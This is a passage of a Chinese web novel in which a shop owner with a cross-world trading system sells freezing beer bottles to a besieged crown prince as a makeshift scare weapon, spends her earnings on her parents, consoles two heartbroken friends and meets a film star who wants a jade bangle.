萧妧妧直接问出口，想知道剧情走到哪了。 “孤带兵赶到时，边州已是强弩之末，我们来不及休整……”龙傲天沉默一会，艰难开口：“我们连失五座城，如今困在歧州一座山中。” 萧妧妧听到歧州二字，心思微动，总觉着有点耳熟。 按理说，她能觉得耳熟，一定和书中剧情有关，但到底是什么剧情，萧妧妧一时半会想不出。 暂且不提歧州，萧妧妧不解质疑：“难道不是你太菜了吗？” 龙傲天一噎，眼眶更红了一点。 萧妧妧是真的不能理解，药给了，压缩饼干给了，杂七杂八的也给出去不少，怎么还能输得一败涂地？ 除了剧情作用，萧妧妧是真想不到其他可能。 龙傲天叹息：“这次多亏了萧老板给的药和食物，否则……” 他没继续说下去，不想回忆这段艰苦的日子。 萧妧妧也懒得问其他，开门见山：“说吧，缺什么？我来给你准备，这回可说好，我要的价钱不低。” 萧妧妧怀疑是自己给的折扣太多，以至于龙傲天歪了心思，此后她打定主意，在商言商，绝不做多余的事。 龙傲天暗自窃喜，他等得就是这一句话，不枉费他辛苦演了这一出。 他的境况的确有些艰难，但他是储君，身边有人护卫，倒不至于弄得自己没个人样。 是他发现小卖部重新出现，龙傲天为了博取萧妧妧同情，特意来了这一出。 如果他知道，萧妧妧对他的遭遇不仅毫无怜悯之心，反而幸灾乐祸，不知道会不会后悔扮成这副模样。 “刀！要长刀，还要箭，对了，粮草和御寒衣物同样需要，”龙傲天团团转，回想自己列下的清单，依次报：“萧老板可有火器卖？” 萧妧妧记录速度飞快，听到火器愣了一下。 “不卖。” 交易系统是个热爱和平的交易系统，怎么可能□□？ 对上龙傲天近乎祈求的目光，萧妧妧直接把锅甩给结界。 龙傲天失望叹息，眉宇间满是愁绪。 萧妧妧下单二十把复合弓，五万支玻纤箭，又买了三万件军大衣，付款时，她突然想到可以代替热武器、又不至于对其他位面科技造成破坏的东西。 她研究过系统的条例，热武器包括不限于武器本身，还包括制作它的技术、材料等，非常苛刻。 如果她想钻漏洞，比如分开售卖，被系统检测到先后交易的物品成分可以组成危险品，同样会列为禁止交易。 举个例子，大家都知道白糖和某些化合物能够制成爆.炸物，那么，在售卖过白糖的前提下，配方里的另一个物品则自动列入禁止交易名单。 不论是传送、客户携带，只要通过结界必定会被检测到。 反过来有个方法可行，只卖对面无法轻易获取的化学成分，白糖自行获取，这个方法看起来可行性高，实际同样被系统重点监控。 一旦对方位面出现不符合当前科技水平的武器，热爱和平的系统宁可误杀不愿放过，买卖双方直接拉进小黑屋。 情节严重、造成恶劣影响的，系统有另一套处罚办法。 萧妧妧了解到的处罚之一，就包含了系统解绑，清除买卖双方的相关记忆。 萧妧妧都不需要考虑，肯定不会自绝后路卖危险品，最好的办法是在重重限制中，找到合规的解决办法。 她转身从货架上找来一瓶啤酒，拿来温度计。 “把温度计丢过去，放置一会送回来给我看一眼，”萧妧妧一股脑扔去啤酒，“找个没人的地方丢在雪地里，观察多久能冻起来，以及冷冻后到瓶身膨胀的时间。这一点很重要，一旦把握不准，容易误伤。” 啤酒和可乐在低温下会发生爆炸，在多重限制下，勉强可以做为武器使用，聊胜于无。 可乐那么小一听，杀伤力肯定不及啤酒，所以萧妧妧选中啤酒当测试对象。 关键是啤酒进货太多，她得想法子*消耗消耗，正好龙傲天有需求，何乐不为。 龙傲天稀里糊涂，不明白这么做的目的，萧妧妧也懒得和他多解释，主要是解释起来太麻烦，没那个时间，反正用不了多久，等着看结果就是。 好在龙傲天足够听话，无论萧妧妧说什么，有多不理解，他全部照做。 眨眼工夫，龙傲天飞快跑来，温度计上沾着雪花。 萧妧妧一看上面显示零下十八度的气温，无需等龙傲天给测试结果，她嘀嘀咕咕一阵，已然推测出数据。 根据啤酒的成份可知，它的冰点在零下四度左右，高低随酒精含量变化而改变，要在零下十八度的环境冷冻成可以炸开的危险品，大概需要3、4小时左右。 龙傲天被打得满山乱跑，显然不适合这么操作。 萧妧妧考虑到他们实际应用的情况，更改方案，换成急速冷冻剂，大批量下单。 当然，前提是他们能顺利退到下一座城内，扛着啤酒满山跑多少有点送人头的意思。 “鼓起来了！” 急促的脚步声由远及近，龙傲天跑回来报信。 萧妧妧一抬头，结界刚好显示画面，一瓶啤酒插在积雪中，浅浅露出瓶盖部分。 为了让他看到更直观的效果，萧妧妧特意嘱咐他把啤酒埋在周围有树的地方。 两人一起盯着结界，静静地等待接下来将要发生的事情。 “砰” 十分钟不到，一声巨响传来，龙傲天没有丝毫的心理准备，也根本没想过他们等的画面，竟然会是这样，狠狠一激灵。 他瞪大双眼，死死地盯着那处小坑，坑周围的积雪被稀碎不明物质砸出更多小坑。 “炸了？”龙傲天不可置信。 萧妧妧：“嗯，炸了。去看看威力吧，比不上火器，但是用来吓唬人足够了。” 直到龙傲天在附近几棵树树干里，找到深深扎进去的翠绿玻璃碎渣，激动愣神过后，看萧妧妧的目光多了几分其他意味。 萧妧妧微笑翻译：毒妇。 【作者有话说】 [玫瑰]感谢读者“eximious~chyx”,灌溉营养液+1 88 第88章 ◎这可是黄金万两呢！◎ 龙傲天一脸恍惚地回到小卖部,一脸恍惚地望着萧妧妧。 “你什么眼神？不是你要的火器吗？”萧妧妧不甘示弱瞪回去，“这可比火器善良多了。” “萧老板误会了，孤不是那个意思。”龙傲天为自己辩解两句，忽然振奋起来,大声下单：“会炸开的啤酒,孤要五万瓶！不、十万！” 他要照着敌军的面门砸过去,一雪前耻！ 萧妧妧拿来计算器加加减减,看着都是零碎东西，半天不到花出去十来万。 “付钱吧。”计算器一推,萧妧妧双手环胸，等着收钱。 龙傲天迟钝恍悟,一拍脑门。 “对对对，要付钱。”他没看计算器一眼,转身大迈步离开。 龙傲天的身影刚消失，孟甜甜恰好从结界那头穿过来。 她手里扛着唐刀,气喘吁吁,看到柜台边的萧妧妧,疲惫微笑打招呼。 萧妧妧扬起笑容,关心道：“今天杀了几只？” 孟甜甜小脸微白,一副要哕的样子：“七只。” 萧妧妧看她颤抖的胳膊，同情地摇摇头。 孟甜甜深呼吸，压下反胃感，跑到货架上拿了一听可乐猛灌。 “没想到,那天逃出来的那一路，竟然是我的巅峰。”孟甜甜苦笑：“唐刀砍进脖子原来是会卡住的。” 逼到绝路,身体迸发了前所未有的潜能,现在安逸了,反而畏首畏尾。 孟甜甜杀了一上午丧尸，弄得脏兮兮，担心萧老板介意，提前清理一番，换上干净衣服后，马不停蹄回到小卖部，她迫切需要阳光和微风，弥补心底的空洞。 萧妧妧嘘了一声示意她暂停，很快要到午饭时间，她不太需要听杀丧尸的小tips，遂改了话题。 “今天想吃什么？” 孟甜甜振作起来：“我跟着萧老板吃。” 萧妧妧看她馋得直吞口水，好笑地递出一部智能机。 “给你准备的，开了亲密付，手机密码支付密码全贴在上面了，吃穿用购物基本能满足你。 对了，上网玩游戏也可以，需要身份认证的直接找我。” 萧妧妧交待的工夫里，诡异地产生了养小情人的荒谬感。 孟甜甜没想到会有惊喜，抱着手机眉开眼笑。 没有哪个现代人能离开手机，孟甜甜自己的手机根本没法用，甚至连充电都找不到合适的接口。 她不好意思再麻烦萧妧妧，闭口不谈，入住没多久，萧妧妧却主动为她准备齐全了。 能上网，能购物，这里的生活基本和以前没什么两样。 除了没办法离开院子，萧老板给了她最大限度的自由。 孟甜甜惊喜过后是止不住的感动，哪怕顾呈锡送来千万珠宝，都比不上手心里的一部手机更让她感到快乐。 “萧老板，快来搭把手。” 孟甜甜感动的要掉眼泪，龙傲天打破了气氛。 他吭哧吭哧推来一个木箱子，有孟甜甜大腿那么高，看造型古色古香，很像电视剧里堆满珠宝的那种深色木箱。 孟甜甜多看一眼龙傲天，看他穿得盔甲，猜测是古代位面的客人。 她放下喝到一半的可乐，快步上前帮忙。 萧妧妧没阻止，因为这个箱子真的太大了，龙傲天在结界另一边，推着箱子卡在结界中间半天进不来。 三人在两个位面同时使劲，进了小卖部，萧妧妧才好通过系统操控箱子挪到一旁。 “什么玩意啊？”萧妧妧甩甩胳膊，没忍住抱怨。 孟甜甜左右看看，小声说：“我先回去了。” 萧妧妧嘱咐道：“想吃什么自己点，不用等我。” 孟甜甜应了一声，一头扎进客房，没一会，空调外机启动的动静传来。 龙傲天指了指外面，“谁啊？” 萧妧妧：“跟你没关系。” 龙傲天也察觉到萧妧妧态度的变化，不敢多说什么，毕竟是他冒犯在先。 他悻悻的哦了一声，甩着胳膊回到木箱旁边，“萧老板请看……” 箱子打开，成片的金光跃入眼帘，窗外的阳光打在上面，照得天花板金灿灿一片。 萧妧妧早不是以前的萧妧妧了，她淡定瞄一眼，不冷不热地问：“成色不错，这是真的千金？” 龙傲天抬头挺胸：“萧老板这么说可就太小看孤了。 这箱子里一共是万两黄金，其中一千两是补萧老板的，另一千两黄金则是感谢萧老板，您料事如神如今，孤可不是遭老七陷害，困在边关嘛。” 一天天那么多事，赚那么多钱，萧妧妧早忘了龙傲天那些承诺。 倒是千两金这个梗她记得清楚，第一次在古人身上吃亏，由不得她不长一智。 “万两……你舍得？”萧妧妧模仿黎行聿的神情，冷淡中带着点嘲讽地看他。 龙傲天面露尴尬，想了想，老实抱拳作揖：“对不住，是孤冒昧了，还望萧老板大人不记小人过。” 萧妧妧挥挥手：“不提那些，那剩下的八千两黄金……？” 龙傲天面色一喜：“萧老板大气。剩下的自然是用来买衣裳粮食和啤酒。” 萧妧妧故意道：“那您可给多了，我那些破烂货不值这么多钱。” 龙傲天不禁擦了擦额头：“值！当然值！您眼里的破烂货，在孤眼里可是千金难求的好东西，还得多谢萧老板，否则孤上哪能见着、用着它们？” 一段日子没见，龙傲天瞧着肯放下身段了，好听话一箩筐。 虽说他巧立名目送来一万两黄金，听着没什么问题，但萧妧妧能感觉出来，龙傲天是在讨好她。 萧妧妧上下打量他几眼，猜测他是真急了吧。 她见好就收，道：“行，金子我收了，东西到了我会通知你。” 龙傲天拘束地提要求：“那……东西到了以后，可否装进箱子里送过去？” 萧妧妧疑惑挑眉。 龙傲天清清嗓子，有点尴尬地解释：“孤想着万一哪天小卖部出现了，不能耽误萧老板用金子，于是行军途中一直带着。” 萧妧妧看了看外面雪花漫天飞舞的密林。 爬山打游击，还让属下运万两黄金？到底谁恶毒啊？ “停停停，你可别甩锅，好像我在压榨劳动力似的。”萧妧妧无力吐槽，赶紧撇清关系。 龙傲天：“萧老板莫恼，孤不曾告诉任何人，只说这箱子里是救命的物资，万不得已才能拿来救命用。” 萧妧妧啧啧两声，“你这么说……倒也对。” 这一箱金子，可不是能换救命的物资。 龙傲天：“来时太子妃还为萧老板准备了不少女儿家的首饰，可惜一路急行军，首饰精贵容易磕着碰着，若孤能平安回京城，一定带来请您赏玩。” 萧妧妧怀疑他在画大饼，拿首饰吊着她，好让她尽心尽力帮他，至少不再随便拉黑名单。 “首饰啊……我不缺的，得之我幸，失之我命。”萧妧妧佯装无所谓，礼貌微笑回应。 龙傲天又一次噎住，不知道如何回她。 “萧老板说笑了，什么得失命啊幸啊，它们注定是萧老板的，这一点无人能改变。” 龙傲天连着在她这里挨了几句刺，坐立难安，看萧妧妧没有要说下去的打算，他匆匆抱拳告辞。 “拜托萧老板了。” 龙傲天离开了几分钟，萧妧妧盯了结界一会，确认他不会折返，蹦跶着来到木箱旁。 随机抠出两根金锭，敲击，听着清脆的碰撞声，萧妧妧汗毛直立。 这可是黄金万两呢！实实在在的一万两！ 萧妧妧飞快在心里估算一番，哇出声。 来回拨弄几下，听它们叮叮当，萧妧妧总算过足瘾，金锭全部转移进空间。 空下来的箱子拆了多余的绒布垫布，把小卖部还有剩余的伤药、玻纤箭扔进去堆满。 啤酒一共十三箱，一起堆在门边，等时机到了传送过去。 忙乱一阵，萧妧妧四仰八叉地瘫在沙发上，发出了今日份感慨。 “赚钱可真累啊。” “叮叮叮” 才歇下来喘口气，手机跑出来刷存在感，萧妧妧懒洋洋接通。 “对对对，没下错单，是是是，地址没问题。 您放心，不退货，我是买来做设计用的，量是有点大哈，谢谢老板。” 买得东西太多，老板打来电话确认订单，刚挂断电话，又是一通打进来。 “没错没错，只要这一款。 颜色？那行吧，换成黄迷彩也可以。” 萧妧妧吁了一口气，不敢想收货那天能闹成什么乱七八糟的场面。 防止影响顾客上门看货，萧妧妧又联系老板约定送货时间，尽量让各方错开碰不着面。 要不是有系统罩着小院，这么多东西送进来，早被人注意了。 午休结束，萧妧妧总算忙完。 她伸了个懒腰，忽听客房吱呀一声，孟甜甜休整完毕，开始下午份的打尸。 萧妧妧笑眯眯说：“今晚早点回来，请你吃蛋糕。” 孟甜甜重重点头，冲着萧妧妧挥手，脚步沉沉地穿过结界。 萧妧妧望着空荡荡的小院，突然产生了一种空虚的感觉。 她挠挠头，一定是这几天忙得不停歇带来的错觉，哪有人会喜欢陀螺一样的生活节奏啊。 下午没有顾客预约看货，小卖部没有顾客光顾，萧妧妧一空闲下来，发觉自己错过了不少娱乐活动。 首当其冲就是购物。 恰好要参加黎行墨的生日宴，首饰她多得是，衣服却没几件拿得出手。 想着云昭昭也要参加，萧妧妧拨去电话约她逛街，在听到那头传来呼哧呼哧的声响后赶紧挂断。 算了，有黎行墨在，云昭昭大约是不缺衣服首饰的。 萧妧妧转头约了爸妈一起出门。 赚了几笔大钱，萧妧妧没能找到机会请他们吃一顿大餐。 想到大伯母收到堂姐用工资买的奢侈品包，特意背着走门串户，四处炫耀，萧妧妧打定主意，狠狠消费一笔。 “啥？去买啥？” 听到电话那头的惊呼，萧妧妧重复一遍：“买手镯，金手镯，重得抬不起手的那种。” 她囤了不少金子，拿去打成首饰送给张芸完全不是问题，可对比在金店刷卡付现买大金镯，两种方式带给人的愉悦感与体验感完全不同。 萧妧妧想让张芸高兴高兴。 “你发财了啊？才赚三万，你看你，尾巴翘上天了。”张芸吐槽。 话是这么说，到了约定时间，张芸和萧大明还是老老实实换了一身衣裳等在巷子口。 一见面，张芸嚷嚷着让她省点钱，存着买房，萧大明在一旁帮腔。 刚好拦下一辆出租车，萧妧妧及时打断他们，招手示意爸妈上车。 萧大明哼哼着说：“买不上房子，不然先买个车子吧，不用多贵，十万二十万凑合开。” 张芸反对道：“没车位买它做什么？你看看巷子窄的，要我说尽快买房子，到时候再买个车位，不然这老小区你看看嘛，车子找不到地方停。” 萧妧妧听父母又在为买房买车争执，心里好笑。 萧大明想起什么，忙道：“我和你妈今天去看房了，你要200平，还要市中心，又要离小卖部近，根本找不到。” 张芸：“你太挑剔了，老城区没有这样的，新城区有不少，价格太高了，首付差不少呢，关键是后面贷款每月还七八千，压力大。” 萧妧妧一听，脑袋都大了：“……那我还是住月牙巷吧。” 买房的钱足够了，却卡在房源这一关。 萧妧妧没想过要多豪华的，面积大一点，质量好一点，最关键是离市中心近一点，最好离小卖部近。 小卖部是她的老巢，忙时基本每天要耗在店里，萧妧妧不太希望在家与小卖部之间浪费太多路程和时间。 可如此一来，限制太多，可挑选的范围大大缩小。 买房是为了住，住着不方便，萧妧妧高涨的买房热情一下子消去大半。 “也不是没有，随园后面有个别墅区，那里又宽敞又是市中心。”说起买房的话题，司机师傅顺势插话。 萧大明嘿了一声，连连摇头：“买不起买不起。” 萧妧妧耳尖一动，马上搜索附近的别墅区，看到在售的两套别墅挂牌价全部在四千万以上，顿时歇了心思。 萧妧妧是有点钱的，但还没多到能狠下心，眼不眨的买一套大几千万的别墅。 或许存款过十亿才能舍得吧，穷人乍富是这样的，花点钱都抠抠搜搜。 抠抠搜搜的萧妧妧在花四千万买房还是投资之间，毫不犹豫倒向投资，赚分红多香啊。 萧妧妧只能安慰他们：“月牙巷挺好的，实在不行再买一套月牙巷的院子，有车位的那种。” 本是随口一说，说完萧妧妧觉得这主意不错。 萧大明记在心里，应声说：“成，明天爸爸帮你看院子。” 说话的工夫，车子停在商场门口。 萧妧妧雄赳赳气昂昂，挽着爸妈进商场。 前脚说“不要不要”“太浪费了”，等萧妧妧付完钱，拿到沉甸甸的金镯子，张芸马上变脸。 “这辈子享女儿福了”“你看看这大金镯，大明啊，像不像我们结婚那阵你妈没同意买的那个？”“金灿灿的真好看”。 萧妧妧听得喷笑出声。 萧大明撇着嘴，闷头走在前面。 张芸笑嘻嘻碰了碰女儿胳膊：“你爸吃醋啦。” 给张芸买了一对金镯，各五十克，营业员猛夸她有福气、夸萧妧妧孝顺，萧大明得了个俗气的大金链子，说不上多喜欢。 萧妧妧偷笑，只等回家给他一个惊喜。 “什么破丝巾，它也敢要五千？走走走。” “什么包要两万啊，镶金了吗？” “我不要，这衣服是富婆穿的，我穿着不好看。” “哎呀，不买了不买了，这都花了好几万了，我心疼。” 从一楼扫荡到七楼，只要张芸多瞄一眼，萧妧妧二话不说，拉着她往店里钻，刷起卡来毫不犹豫。 通往商场最顶楼的旋转餐厅的电梯里，张芸拎着购物袋，又心疼又快乐，一张脸挤出无数表情。 萧妧妧没说的是，这一通买买买，其实连一个月的利息都没花到。 赚钱了就是要花的，不然赚钱有什么意思呢？ 买不起几千万的别墅，买点几万十几万的奢侈品还是有点实力的。 萧妧妧给自己挑完赴宴的衣服，剩下全是给父母买各种东西。 好在爸妈不是扫兴的大人，买之前百般推辞，这个不要那个不喜欢，买之后又会高高兴兴说它们哪里好哪里妙。 坐进餐厅，张芸看到菜单也不觉得贵了，吐槽一句“还不如我烧的好吃”，然后美滋滋拍照。 萧大明：“得了得了，你都拍半天了，赶紧吃吧。” 看老伴一会拍晚餐，一会拍城市夜景，一会又要把购物袋摆上桌，不着痕迹的显露logo，萧大明实在看不过眼。 张芸哼了一声，抱着手机发朋友圈。 “要不是怕你三婶找来要钱，真该让她看看，看我闺女多厉害。” “她那儿子……嘁。整天看她翘着尾巴，孩子教成那样，不知道嘚瑟什么。” 萧大明还要说什么，萧妧妧在桌下踢了一脚，他只好闭嘴。 看得出来，张芸是真高兴，吃饭时嘴角就下来过。 萧妧妧觉得这笔钱花得太值了，早知道早些天带他们出来。 “早些天？那我们可没心思，要愁那什么电影，要愁你的小卖部，前阵子还要愁你的工作，马上又要愁你结婚买房的事，今天刚好。”张芸尝了一口红酒，喜滋滋说。 萧妧妧一听到他们提结婚，马上缩了缩脖子，不敢吱声。 张芸显然不会错过这么好的机会，道：“你堂姐就比你大两岁，都快要订婚了。你表哥是晚了点，但是人家现在也有对象了。你几个哥哥姐姐差不多这两年能成家，你得抓紧点啊。” “不说结婚，先谈着，我们顺道把房子给你买了，不耽误。” “你要实在不结婚呢，爸妈也愿意支持，这年头结婚确实不划算，咱们可以去挑个精.子自己生，爸妈帮你养。” 萧妧妧为父母的开明意外了一会，随即埋头苦吃，假装听不到。 恋爱谈谈就得了，结婚生小孩不在她的考虑范围内。 “萧妧妧？” 萧妧妧差点想躲起来的时候，天籁之音解救了她。 “黎行聿！好巧啊。”看到黎行聿一步步走来，萧妧妧暗道一句得救了，转移话题：“我带爸妈来吃饭。” 黎行聿倏然紧绷，拘束地侧过身，一一问好，“叔叔阿姨你们好，我是黎行聿，和萧妧妧是……朋友。” 张芸和萧大明一起愣住，萧妧妧交心的好朋友不多，三两个，还大多在外地，这个黎行聿倒是头一回见。 他们活了大半辈子，看人眼光是有的，小伙子瞧着很不错，笑起来温柔和气，有成熟男性的波澜不惊，无论是气质气场，和萧妧妧明显不是一个圈层，甚至说不是一个阶级的人。 没瞧他过来打招呼，身后不远处等着一群疑似他下属的人，一个个恭敬得不得了。 张芸打量一阵，回应他的问好，只是越看他的脸，越觉得眼熟。 她忽然问：“我想起来了，你没戴头盔罚款那次，是不是你们啊？” 萧妧妧一噎，不太想提起的样子，黎行聿倒是坦然，颔首承认。 张芸忙招呼：“真巧啊，能在这里遇上，要不要一起吃个饭？” “人家忙着呢，而且我们都吃完了……”赶紧打断张芸没什么必要的寒暄，萧妧妧冲着黎行聿笑笑，“那边还有人等你，不用管我们。” 黎行聿温声说：“抱歉阿姨，刚用完工作餐，马上要回去开会，下次有机会，我请叔叔阿姨一起吃饭。” 张芸连声应：“好，下次下次，你去忙你去忙。” 黎行聿冲萧妧妧颔首，又和张芸萧大明说声再见，回到同事身边。 张芸盯了一会，看他们身影消失，马上追问：“妧妧，你这朋友什么来头？你瞧瞧，一群人围着他转。” 萧妧妧：“公司大老板，对了，住我们家对面，方爷爷的院子就是他买下的。” 张芸想起来了，拍大腿说：“我知道，昭昭在那家做家教呢。我跟你说，那家有个年轻小伙子可喜欢昭昭了。他们俩是什么关系啊？” 萧妧妧：“亲兄弟，上回他们的车子堵在隧道前面，正好拜托我载他去公司。” 张芸的注意力全部转移到黎行聿身上，再没提起相亲结婚的话题，萧妧妧可算松了一口气。 “他弟弟我知道，兄弟俩长得都帅，就是吧……”张芸摇了摇头：“他们家那车一直换，我瞧着可不便宜，估计是有钱人，可惜了，唉。” 萧大明没听明白，问：“可惜什么了？” 张芸：“可惜太有钱，不适合妧妧。” 萧妧妧“噗”的一下，差点喷饭。 “那又怎么了？我们妧妧哪里差了？难道只能配得上穷鬼？”萧大明反驳。 张芸嘿了一声：“你要跟我抬杠是不是？我说穷鬼了吗？人家那行头、那派头，不是一般有钱。门不当户不对，不长久。” 萧妧妧服了，放下筷子招手示意买单。 “女士，您的账单已由黎总支付。” 萧妧妧掏手机的动作一顿，张芸忙问：“黎总？刚才那个黎行聿啊？” 服务员点头确认，微笑离开。 “这孩子真懂事。”张芸：“妧妧，你记得请回去吧，这一顿饭不少钱，我算过，要一万多呢。你再帮我们说声谢谢吧。” 萧妧妧应了一声，给黎行聿发去消息- 感谢黎大老板精准扶贫，下次换我请你~ 说着她起身，拎上购物袋准备回去，手机叮咚一声响- 既然萧老板主动请客，我就不客气了，时间你定，地点我挑？ 萧妧妧手上提满东西，只回了个表情包，匆匆结束话题。 这边，张芸还在念念有词：“请我们吃饭也不行，我还是得说，不长久。” 萧妧妧彻底服气了，人家打个招呼付个账单，张芸女士未免想得太多。 “你们可别在人家面前乱说，那是我古董铺的大客户，他最近想买我的东西，不然人家为什么好端端请我们吃饭？” 萧妧妧怕爸妈误会，胡编乱造式解释。 张芸一听，倒不说那些有的没的，转而打听起古董铺的效益。 萧妧妧拎了拎购物袋，显摆道：“那当然是赚到钱啦。” 带上打包好的甜点，去店里拿了蛋糕，一家三口饭后消食，从商场一路溜达回月牙巷。 张芸拎着七八个奢牌购物袋，手腕上套着大金镯，走在路上回头率达到了百分百，艳羡目光集中她身上。 萧妧妧一看老妈昂首挺胸，气势十足地走在前面，就猜到她在暗爽。 溜达到月牙巷，萧妧妧拎着食物回小卖部。 张芸感叹一句：“真看不出来，以前上学不愿意全勤的娃，现在变成工作狂了，整天待在小卖部里。” 萧大明：“少说两句吧，闺女给你买这么多东西，还堵不上你的嘴？我看妧妧是给你念叨烦了。” 一不留神，老夫妻俩又拌起嘴。 萧妧妧看着他们进了巷子，转身回到188号院子。 “萧老板你回来了，你看她……” 刚进门，孟甜甜迎了上来，指向蹲在院子里闷闷不乐的一坨。 【作者有话说】 一口气码出来发现找不到合适的节点断章，字数稍微有点多，看起来会有点累，下一章会注意的[亲亲] 感谢读者“本宫凪沙”,灌溉营养液 +1 感谢读者“eximious~chyx”,灌溉营养液+1 89 第89章 ◎影后的青睐◎ 萧妧妧没瞧出来是谁,走过去绕了一圈才看出来，是换了一身平民装束的柳如烟。 “失恋了？”萧妧妧逗她。 柳如烟听到萧老板的声音，可怜巴巴抬头，蓄满泪珠的眼眶通红通红。 这一幕有点眼熟,好像不久前发生过。 萧妧妧没想好怎么说下去,柳如烟这时“哇”的一声崩溃大哭。 萧妧妧手足无措,孟甜甜和柳如烟不熟,无能为力。 两人别无他法，对视一眼,索性蹲在旁边陪她哇哇大哭。 等她嚎得嗓子干哑，彻底哭不动了,柳如烟抽抽噎噎说：“他夜宿教坊司！还、还写了一首淫.词艳曲！本宫的面子全没了！” 一听有淫.词艳曲，萧妧妧来劲了,“哪呢哪呢，我品品。” 柳如烟气呼呼丢来一张纸。 萧妧妧捡起来,孟甜甜一起凑过来看。 “原来是文抄公啊,失敬失敬。” 萧妧妧毫不意外,虽然没有看到小说后面剧情,但想想也知道,哪个男的穿到古代能错过当文抄公，拒绝人前显圣的机会。 陈松抄得这首知名度挺高，是柳永的《定风波》。 萧妧妧想到什么，忽然拍手叫绝！ 家里有唐诗宋词元曲和明清的小说,可以送给申明月，她正在组队的阶段,抄两首诗扬扬名,说不定能助她一臂之力。 柳如烟看她们不像是关心她的样子,哭得更伤心了。 孟甜甜看她实在可怜，道：“男朋友去嫖.娼……确实难以接受，这种渣男应该趁早甩掉。” 萧妧妧倒是没劝，小姑娘情窦初开的年纪，还有点小叛逆，越劝越要对着干，不如她自己想清楚重要。 要不是担心教坏小孩，萧妧妧更想劝她去点几个面首养养。 萧妧妧转移她们的注意力：“带了蛋糕回来，尝尝味道？新开的网红店，我也是第一次吃。” 柳如烟一听有吃的，还是短剧里看到过的蛋糕，抹抹眼泪，巴巴跟在萧妧妧屁股后面进了小卖部。 孟甜甜眨眨眼，噗呲一声笑出来。 “我看出来了，陈松根本不喜欢我……不对，他是喜欢所有长得漂亮的女人，对我，只是应付罢了。” 柳如烟嗷呜一口咬下蛋糕，说话含糊不清。 萧妧妧拉着孟甜甜一起吃瓜，问：“你怎么看出来的？” 柳如烟失落道：“他要是喜欢我，根本不会不在乎我的面子，本宫乃一国公主，整天围着他转，他却在教坊司……大家都传开了。” “他只在领了麻烦差事的时候会来求本宫，恐怕是我公主的身份对他更有用。” 孟甜甜不知道被哪句话戳中心口，颇有感触。 “别傻了，权利地位是男人的命。 用得上你你是宝，用不上你，他能看着你去死。” 气氛突然伤春悲秋起来，甜美的粉色蛋糕显得格格不入，萧妧妧母单多年，显然没有话语权。 两人经历不同，背景更是毫无相同点，这时却有了共同话题——讨伐负心汉。 “烟烟，你听我的，赶紧离他远远的，那个陈松不是好东西，典型的凤凰男，给你当通房都不配！” “甜甜，我听你的，我这几天绝不理他！他认错也不行！呜呜呜亏我还想给他机会，他根本不在乎……哇……” 萧妧妧一个没看住，两人称姐道妹，三下五除二扒拉出来两瓶啤酒抱着瓶子喝，现在更是哭得稀里哗啦。 萧妧妧是真头大了，不用说，肯定是孟甜甜起的头。 花了不少钱订得蛋糕剩下大半，原是想让孟甜甜高兴高兴来着，最近看她有些忧郁，这下歪打正着，两人能抱着哭，情绪方面多少缓解缓解。 蛋糕放进冰箱，酒瓶子丢进垃圾桶，至于醉倒的两人，萧妧妧一个个架起，扶到客房。 捡起那首《定风波》，随手丢在柜台上，留着柳如烟自己处理吧。 不知不觉忙到了深夜，萧妧妧锁上院门回家，第二天赶早来到小卖部，院子里静悄悄，推开房门一看，两人睡得昏天暗地。 萧妧妧没打扰她们，先去门口转了一圈，发现没多少人凑热闹打卡，果断打开大门，开始营业。 “呦，可算开门了，货架都整理好了吧？”刘叔搬来一筐筐柚子码放整齐，招呼道：“叔的水果店事情不少，没能帮上忙，下次你叫叔，叔肯定搭把手。” 萧妧妧笑了笑，放好招牌，给发财树浇了水，回柜台后面打开自助提示。 不到八点，距离外地约着上门看紫翡的客户到达时间还有两三小时。 萧妧妧拿上鸡毛掸子去了后面的古董铺，务必打扫得窗明几净。 孟甜甜和柳如烟匆匆忙忙起床，顶着一张大花脸出现，萧妧妧刚好完成所有准备工作，换上正经接待客户的衣裳。 “对不起对不起，昨晚一不留神就……”孟甜甜懊恼地拍脑袋。 柳如烟有气无力：“好难受……萧老板，我可以留在这里看电视剧吗？” 萧妧妧无奈摇头：“去小卖部玩，等会有客户来看货，你们别闹出动静啊。” 萧妧妧警告地扫她们一眼，两人齐刷刷点头保证。 “咚咚咚” 恰好这时敲门声传来，孟甜甜拉着柳如烟回客房梳洗，萧妧妧则是去开门。 “你好萧老板，我们是预约今天来看货的，我姓章。” 萧妧妧一看门外，是两个年纪在四十多岁的女人，一个是干练短发，穿着随性，甚至可以用不太讲究来形容。 另一个略显富态，打扮得简约时髦，戴着大墨镜，卷发披肩，露出一张红艳艳的唇。 看起来都很有实力，萧妧妧一时分不清到底是谁要买货。 请她们进店稍坐，萧妧妧没浪费时间寒暄，转身拿出一小布包进入正题。 布包一层层展开后，帝王紫的翡翠镯子展露在三人眼前。 “这是多大圈口？”短发的章女士问。 “56的，和我之前买的那个差不多。”长发美女拿起镯子比划两下，在萧妧妧开口之前回答了同伴。 萧妧妧：“对，这位女士经验丰富，一眼看出是56的圈口，您可以试戴一下，拿到阳光下看也可以。” 长发美女微微笑，摘下墨镜仔细端详手里的紫翡。 萧妧妧咦了一声，总觉得长发美女面熟得很。 章女士笑着说：“萧老板平时看电影吗？” 有她特意引导，萧妧妧倏然间明白这股眼熟的感觉是哪来的。* “您、您是高鹭？” 影后高鹭，萧妧妧上学时只在教材里见过的人物。 她一直听说高鹭喜欢收藏翡翠，每年的颁奖典礼快成了她的珠宝展，每年都要因为珠宝上一次热搜，引起一众网友的讨论艳羡。 珠宝圈不止一次拿高鹭当话题，每年都要趁机盘点一次她的收藏。 千万级别的是入门，过亿的翡翠不在少数，是大众所知道的，演艺圈最爱买翡翠的明星之一。 萧妧妧有点恍惚，她没想到，一向出没在高端珠宝拍卖会的高鹭，竟然会来她的古董铺买翡翠！ 能得到影后的青睐，不破斋已经这么红了吗？ “对，我是高鹭。”高鹭坦然承认，笑得和善：“谢谢老板，我拿去在院子里看看。” 她拿着手镯往外走，在太阳光下看了手镯一遍又一遍。 萧妧妧心口怦怦跳，直道这是碰上了大客户，赶紧收敛思绪，表现出该有的专业。 “这两年紫翡行情热度一般，大家宁愿藏着等行情好了再出手，也不肯贱卖。 我和他们不一样，买卖东西一向看缘分，你们是第一波客人，价格不低得离谱，我是很爽快的。” 高鹭点点头，显然是认可了镯子，“你知道我喜欢买翡翠，行情我是懂的。说实话，这镯子我只看到了小八位数，再高是不可能的。” 萧妧妧诧异，她以为高鹭只是爱收藏、爱戴翡翠，出乎意料的是，高鹭不仅懂得看翡翠，还意外的了解行情。 